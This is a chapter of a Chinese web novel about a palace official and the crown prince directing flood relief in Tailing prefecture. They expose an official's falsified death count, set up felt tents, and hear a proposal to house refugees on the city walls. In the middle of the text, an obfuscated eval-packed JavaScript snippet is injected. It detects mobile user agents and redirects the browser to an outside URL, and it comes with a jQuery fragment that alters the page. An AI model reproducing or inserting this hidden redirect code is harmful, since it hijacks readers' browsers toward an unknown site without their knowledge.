24. 打量着蒙我呢?
作品:《携太子偷家》 陆云峥捂住嘴没让自己惊呼出声,可身子不住地颤抖着。贺珵也看到了,收紧了拳头,又松开,轻轻拍着她后背,以示安慰。
大约半个时辰,皮筏漂到一处戏台边上。四周都是积水,唯有这丹楹刻桷的戏台兀立,便成了停靠点。
几名撑皮筏的衙役推陆云峥和贺珵跳上戏台,杨奉时领着众人从戏台后面绕行,有一条用方块状石头搭出来的路,淌着水流小心翼翼地走到末端,就是府衙所在。
如杨奉时所言,府衙前堂已经塌了半边,后堂建在高一级的台阶上,积水只有寸许,还勉强可用,远远便可望见灯烛明亮。
一行人走进后堂,众官员见府尹领着人进来,明白这就是朝廷派来的宣抚使,顿觉如旱时春霖,激动地向一行人行礼:“下官见过宣抚使大人!”
贺珵走前一步,叫他们免礼。
没有多余的废话,陆云峥马上进入了状态。
第一件事,就是听取各地受灾情况。
县城的灾况,由村正、里正挨家挨户查实,逐级上报至乡长、县令,归整成册,由县丞汇报;府城内的灾况,由各坊正核实来报。
正巧各县丞、坊正都在,陆云峥和贺珵示意大家不必停止,继续回报,顺势坐在一旁一起听着。
“慢着。”陆云峥突然打断那坊正,向他确认:“裕和坊溺亡五十二人,未知所踪一百二十六人,房屋全没五十户,半没一百零六户?”
正在回报的坊正猝不及防被打断,舌头蓦然打结,回道:“是,是。”
陆云峥眯了眯眼。
她放慢了语调,又确认了一遍:“九月初二暴雨后到今日,溺亡仅五十二人?”
坊正从方才的错愕中反应过来,自如地答道:“是。卑职一户户查问过,溺亡共五十二人。”
余音未落,一只笔筒就冲着那坊正的门面飞去。
笔筒中插满了毛笔,笔尖朝外,尽数砸在了那坊正的面上。竹制的笔筒在他额头上磕出个显眼的红印,笔尖细密的毛流戳到他眼睛里、鼻孔里、还有微张的嘴巴里,引得他奇痒不止,没忍住打了好几个喷嚏,眼泪鼻涕齐喷,窘态百出。
所有人都懵了,看向动手掷笔筒的人——是陆云峥。
坊正不知道为何突然飞来横祸,扑通一声跪下,满是不解:“卑职,卑职不知身犯何罪?”
陆云峥严肃地扫视众人一圈,道:“裕和坊是大坊,人口在整个府城里头都是数得着的,连燕南坊这样的小坊都溺亡一百多人,浸没八十多户,裕和坊怎么可能才溺亡五十二人?”
坊正一幅“原来如此”的表情,神色松懈下来,为自己辩解:“您有所不知,裕和坊靠着山脚,暴雨前,卑职忧心地势低洼的人户会遭水淹,将好些人户转移到了半山腰上的几处破庙里,因此受灾不及别的坊严重。”
陆云峥冷笑:“你打量着蒙我呢?裕和坊靠着那侧山上有不少大大小小的涧流,秋冬枯竭,春夏潺潺,如今是汛期,水流汹涌,如何还能将人户转移到山腰上避灾?”
坊正咽了口唾沫,没想到这初来乍到的宣抚使竟知道那山上有涧流!那山上的涧水一到秋冬就不见踪迹了,且藏在密林杂草中,许多百姓在山脚下住了一辈子,若是没有经常上山,也不知道那儿有几条山溪!
他强作镇定:“安置人户处,并没有涧流穿过,大人请放心。”
陆云峥懒得再跟他说,看向杨奉时:“请杨大人派个熟悉地形的人带带路,柏言,选十个人跟过去,把裕和坊的情形探清楚来回我。”
裕和坊靠着的那半边山腰上,是有几座破庙。十几年前几位云游僧人游历到此处,在山脚上修了庙宇歇脚,为着饮水方便,庙宇就建在涧流侧旁,不过二三十步之距。父亲勘察山体时,带她爬过那个山坡。
这坊正也是确实倒霉,扯的谎都扯到陆云峥眼皮子底下去了。
柏言出列,高声应和:“是!”
杨奉时面色不善,忙吩咐了少府尹亲自带路,连声告罪:“大人息怒,是下官失察,罪该万死。”
“诸位,我是台陵府长大的,不要存侥幸之心要糊弄我。此番水患,是为天灾,已有伤亡,大家都无能为力。我会如实向圣上禀明各位苦劳。可若因你们不作为,欺瞒克扣,那就是人祸了。我在宫里十年,什么手段都见过,若是让我查出来刻意欺瞒,我保证,你们的好日子就到头了。”陆云峥眼神狠厉,语气严肃,末了,还剜了坊正一眼。
众人暗地交换眼神,都低头称是。那坊正跪在地上,不敢站起来也不敢说话,慌张地向杨奉时投去求助的目光,却没有得到他半个眼神回应。
贺珵一直坐在一旁没出声,只静静地看着陆云峥。
坦白讲,他并没有真正看过她决断处事,从前在宫里,他只是一直在母后的口中、谢贵妃的口中,听到对她的夸赞。今日看见她张弛有度,恩威并重,想不到她认真做起事来是这样的风采,眸中闪烁着他自己都没察觉到的欣赏。
“还不把这满口胡诌的混账扣下。”见时机差不多,贺珵懒懒地在一旁补了一句。
柏言三下五除二擒住那人的手臂,背在身后,另一个士兵跟上来将人捆了,押在一旁,行云流水。
贺珵连一个眼神都懒得给他,直接革了他职:“这个坊正是不用做了,叫你去修堤坝我也不放心,直接下狱等候发落吧。”
话是对那坊正的处置,眼神却冷然看向众人。
坊正听得“下狱”二字,咿咿呀呀地哭天抢地起来,被士兵强行拖走,只余下远远的哭求声。
“你继续听,我去侧室看看粮册情况。有十万石粮是从隔壁宜州借的,已经到了。还有十五万石在路上,估摸着这两日就到。我去看看如何分发这些粮草,咱们分头行事,更加快些。”贺珵拍拍她手背,低声道。
这便是完全交给陆云峥处置的意思了。
陆云峥点头。
先拿了那坊正开刀,余下的人都不敢在这时候耍小心思,一一如实回报。
几十人都报完,陆云峥看着汇整成册的数字,长长地叹了口气。那日送信的差役来报溺亡兵民近千人,当着是个粗数。一户户摸排过去,可数的溺亡人数已高达两千余人,不知所踪的近四千——这情形,不知所踪跟溺亡也没什么两样了。
除了溺亡,还有饿死的、年纪小被水浸过没有衣服取暖冻死的,不计其数。现下许多百姓,头顶连片遮风挡雨的瓦片都没有,夜晚就都挤在树桠上,甚至是房顶上睡觉。
当前最迫切的,就是灾民的吃和住。
吃那边,贺珵已着手处理。陆云峥就自然而然地把“住”接了过来。
她请杨奉时取来一张大的台陵府城图,命众坊正在各自坊界内划出几块地势较高、平坦宽阔的地方来,便是已有流民占据聚集也不要紧。
众坊正划出来的地方都差不多,陆云峥根据占地大小,一一划了片区,将右卫率分作十数个小队,给各坊把毡帐送去,组装在这些地势高的空地上。
说起来,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031372|178472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毡帐还要多谢嘉珩。乌娄是草原大漠里头的民族,多以毡帐为居室。嘉珩觉得新奇,叫乌娄使臣运了几十顶毡帐过来,说让他们秋猎的时候在马场住着玩。
毡布抗风保暖,寻常小雨也淋不湿,一顶毡帐挤一挤可容身数十人,再是适合不过。所以临行前,她找了队伍专门将几十顶毡帐运送了过来,起码给妇孺孩童一个栖身之地,不要叫他们再在树桠子上度日。
圈画好的府城布局图,她又遣人给贺珵送了一份,就在这些点位附近搭建粥棚,便于管理。
这样一番布置下来,已到深夜,贺珵那边也吩咐好了,走到陆云峥身边,轻拍她肩头:“今日就先到着吧。大家也辛苦一天了,早些休息,明日还有许多事情要忙呢。”
陆云峥揉揉眼睛,看着疲惫不堪的众人,也同意了:“既如此,今日大家先回。”
众人得令,告退后三三两两地散去,杨奉时请二人在堂内稍候,他去巡视一遍府衙各处,再一起回杨府。
杨奉时走后,一人突然又踏入后堂,径直向陆云峥走来。
陆云峥眨眨眼,定睛看他,记得他是燕南坊的坊正,也是这一群人中看起来年纪最轻的一个。
陆云峥没有开口,只用眼神做了无声的询问。
那年轻人一身合体的青衫,拱手敛目:“卑职窦大吉,见过两位大人。”
“你去而折返,所为何事?”
窦大吉沉稳地道出意图:“对于方才安置灾民居所一事,卑职有一计,不知是否可行,不知两位大人愿否一听。”
陆云峥颔首,示意他说。
“卑职记录过水位,如今这般每日下着淅淅沥沥的小雨,每日水位下降仅半寸不到,待积水完全退去,恐还需两旬。现下只安置了妇孺,却仍有许多青壮年无家可归。卑职斗胆请求,开城楼,让百姓到城墙暂居,参照毡帐之法,用油布搭出棚子,搭建暂居之所。”
台陵府乃兵家重镇,城墙厚重宽阔,宽阔处可容四马并行。但城楼一向是兵事重地,除非朝廷下令允许百姓登城墙观灯作乐,平时是万万不允寻常百姓登上城楼的,遑论还要在上面暂居半个多月!
陆云峥和贺珵对视一眼。
其实,他说的的确是好法子。城墙地势高,不会再有水淹之虑。地方足够宽阔,可以就近容纳流离失所的灾民。居所集中,后续施粥施粮施衣乃至消杀,都省去了许多功夫。
可弊处也很明显。这件事,莫说他窦大吉做不了主,杨奉时也做不了主。擅开城墙,往大了说,是可以往妄图起兵谋反扣帽子的。
贺珵睨着他,语气疾厉:“城墙是军事要地,如何能开?你不知道吗?”
贺珵位居东宫多年,纵涉政不久,天家皇子的那份压迫积威仍不可忽视。
窦大吉并没有被他吓到,依旧不卑不亢道:“正是因为卑职知道,因此,纵有此念,却一直未向杨大人提及。卑职知道,这也是为难杨大人。可您二位不同,卑职知道,您二位有这个分量,说得上这句话。”
一时间,陆云峥和贺珵都没有接他的话,屋内陷入沉闷的寂静之中,只有外间沙沙的雨声连绵不息,与粘稠的空气交织在一起。
直到杨奉时匆匆进屋,一边说着“让殿下久等”,一边往他们几人走来。
窦大吉终于抬头,露出了他的双眼,眸中掠过一抹笃定的喜悦。
陆云峥上下打量他,对他说:“你说的话,我会想想。”
窦大吉浅笑:“那卑职静候大人佳音。”